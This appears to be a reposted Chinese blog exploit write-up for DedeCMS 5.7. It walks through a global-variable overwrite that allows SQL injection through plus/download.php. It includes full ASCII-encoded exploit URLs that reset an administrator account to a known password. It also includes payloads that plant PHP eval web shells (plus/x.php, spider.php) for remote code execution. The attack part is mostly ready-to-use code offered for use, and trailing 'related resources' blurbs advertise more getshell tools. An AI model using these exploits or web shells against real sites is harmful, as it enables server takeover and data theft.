`

【转】dedecms最新版本修改任意管理员漏洞 附getshell exp

 
阅读更多

此漏洞无视gpc转义,过80sec注入防御。

补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?

起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。

include/dedesql.class.php:

if(isset($GLOBALS['arrs1']))
{
    $v1 = $v2 = '';
    for($i=0;isset($arrs1[$i]);$i++)
    {
        $v1 .= chr($arrs1[$i]);
    }
    for($i=0;isset($arrs2[$i]);$i++)
    {
        $v2 .= chr($arrs2[$i]);   //解码ascii
    }
    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+
}
…

function SetQuery($sql)
    {
        $prefix="#@__";
        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。
        $this->queryString = $sql;
    }

 

另外说下绕过80sec防注入的方法。

同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2

而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。

 

plus/download.php:

else if($open==1)
{
    $id = isset($id) && is_numeric($id) ? $id : 0;
    $link = base64_decode(urldecode($link));
    $hash = md5($link);
//这里的#@_是可以控制的
    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");
    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);
    }
    header("location:$link");
    exit();
}

 构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc:

admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #

 完整SQL语句:

UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash'

 EXP:

http://wbshell.cc/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

 

如果不出问题,后台登录用户spider密码admin

漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。

 

如果找不到后台,参见以前修改数据库直接拿SHELL的方法

UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval($_POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT 1 ;

 getshell:

&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

 

会在plus目录生成 x.php 密码 m

http://webshell.cc/plus/x.php

 

update成功后还要访问下 /plus/mytag_js.php/aid=1

配图:

 

1.查看dede当前版本

2.执行exp:

3.测试登陆后台

spider密码admin

分享到:
评论

相关推荐

    DEDECMS5.7后台getshell1

    DEDECMS 5.7后台Getshell漏洞分析 DEDECMS 5.7后台Getshell漏洞是近期爆出的一个漏洞,该漏洞允许攻击者在DEDECMS 5.7后台上传恶意文件,从而获取服务器的控制权。下面我们将对这个漏洞进行深入分析。 漏洞成因 ...

    dede批量Getshell

    标题中的“dede批量Getshell”指的是针对DEDECMS(织梦内容管理系统)的一种批量获取WebShell的操作。DEDECMS是一款广泛使用的PHP CMS,而Getshell则是网络安全领域中指利用漏洞在目标服务器上植入后门或者获取...

    dedecms批量漏洞扫描.zip_dedecms_dedecms 扫描器_dedecms漏洞_dedecms路径扫描_批量扫描

    dedecms批量漏洞扫描,大家可以自己试试效果

    DeDeCMS前台任意用户密码修改漏洞复现.pdf

    对于DeDeCMS的管理员来说,防止这种漏洞的首要措施是确保所有用户都设置并妥善保管自己的安全问题,同时,及时更新系统到最新版本以修复已知的安全漏洞。 此外,系统开发者应该在设计和实现用户认证与权限控制时,...

    DedeCMS 存储型xss漏洞1

    4. 定期更新和打补丁,保持软件版本的最新,以减少已知漏洞的影响。 5. 实施内容安全策略(Content Security Policy, CSP),限制浏览器可以执行的脚本来源,增加一层防护。 通过这些措施,我们可以显著降低网站...

    Dedecms存在储存型跨站脚本漏洞1

    标题提及的"Dedecms存在储存型跨站脚本漏洞1"主要涉及到的是Dedecms网站管理系统的一个安全问题,具体来说,这是一个由于程序代码过滤不足导致的存储型跨站脚本( Stored Cross-Site Scripting, XSS )漏洞。Dedecms...

    对某 DedeCMS 二开系统全局变量追加漏洞利用1

    在审计过程中,作者回到过去已公开的安全漏洞信息,特别关注了一篇2016年的文章,涉及DedeCMS的一个管理员修改漏洞。通过分析文中提到的漏洞文件(/include/dedesql.class.php),作者发现在自己的目标系统中,相关...

    getshell2aaaaaaaa

    ### getshell2aaaaaaaa #### 安全领域中的拿Shell技巧概览 在网络安全与渗透测试领域,获取系统或Web应用的“Shell”访问权限是一项重要的技术能力。这不仅有助于安全人员评估系统的安全性,还能帮助他们识别潜在...

    wLHK-Dedecms漏洞整理.pdf

    wLHK-Dedecms漏洞整理 从给定的文件信息中,...Dedecms漏洞整理报告中包含了多个漏洞,包括SQL注入漏洞、XSS漏洞等,这些漏洞可能会导致数据库中的数据泄露或修改,因此需要及时修复这些漏洞,以确保数据的安全性。

    DEDECMS曝重大漏洞可获最高管理权限 提醒站长及时升级修复.docx

    DEDECMS5.7及以前版本中存在严重漏洞,该漏洞使攻击者可以获取网站后台最高管理权限,并进行恶意操作。目前,新版DEDECMS已经修复该漏洞,但是大部分网站仍未升级打补丁,因此存在极高的安全风险。 二、DEDECMS漏洞...

    Dedecms_20150618_member_sqli (2).py

    dedecms5.7sp1后台(要能够注册member的vip账户后台才可以)存在sql延时注入exp,用火狐得到账户登录的cookie替换,然后Python2.7跑脚本,from乌云雨神 http://www.hekaiyu.cn/hacker/3060.html

    web应用漏洞.docx

    Web 应用漏洞知识点总结 在本文中,我们将对 Web 应用漏洞进行总结,涵盖了多种类型的漏洞,如远程代码执行、SQL 注入、跨站脚本...因此,开发者和管理员必须尽力保护自己的 Web 应用程序,防止这些漏洞被攻击者利用。

    织梦dedecms转wordpress插件

    织梦dedecms转wordpress插件,该插件可以把织梦数据完整的转到wordpress并保持源链接不变不影响SEO,该插件可以把织梦的,系统参数、栏目分类、栏目内容、栏目TDK、文章内容、文章自定义字段、友情链接、一起转入到...

    基于PHP的Dedecms管理员账号密码重置php文件(dedecms源码.zip

    Dedecms以其易用性和灵活性受到许多开发者和网站管理员的喜爱。 管理员账号密码重置是网站管理中的常见操作,通常涉及以下几个步骤: 1. **身份验证**:首先,系统需要验证请求密码重置的用户是否为合法管理员。这...

    pinohans#pinohans.github.io#Dedecms 前台任意用户密码修改1

    Dedecms 前台任意用户密码修改影响版本漏洞成因在用户密码重置功能处,php 存在弱类型比较,导致如果用户没有设置密保问题的情况下可以绕过验证密保问题,直接

    织梦后台管理员密码找回工具(密码忘记工具)

    织梦内容管理系统(DedeCMS)是一款广泛应用于国内网站搭建的开源平台,以其强大的自定义功能和易用性受到许多Web开发者和网站管理员的喜爱。然而,随着日常管理的复杂性增加,有时用户可能会遗忘管理员账号的密码,这...

    herewshow#poc#(CVE-2019-8362)Dedecms v5.7 sp2 后台文件上传 getshell1

    1、首先构造一个文件名为1.jpg.php的文件,内容为 2、将该文件进行压缩 3、在常用操作-文件式管理器处上传压缩文件到soft目录下 5、发布预览

    0day-Exp包

    1. "dede全部exp(1).rar":从"dede"这个词,我们可以推测这可能与 Dedecms(织梦内容管理系统) 相关。Dedecms 是一款广泛使用的开源CMS,如果这个exp包包含了针对它的0day漏洞,那么对于使用该系统的网站来说,可能...

    ASP网站CMS程序源码——动易数据转DedeCms2007_petodede实例开发.zip

    DedeCms2007版本是该系统的早期迭代,虽然现在可能已经过时,但理解其架构和数据结构对于数据迁移至关重要。数据迁移通常包括文章、用户、分类、评论等核心信息的转移。 动易数据转DedeCms2007的实例开发意味着需要...

Global site tag (gtag.js) - Google Analytics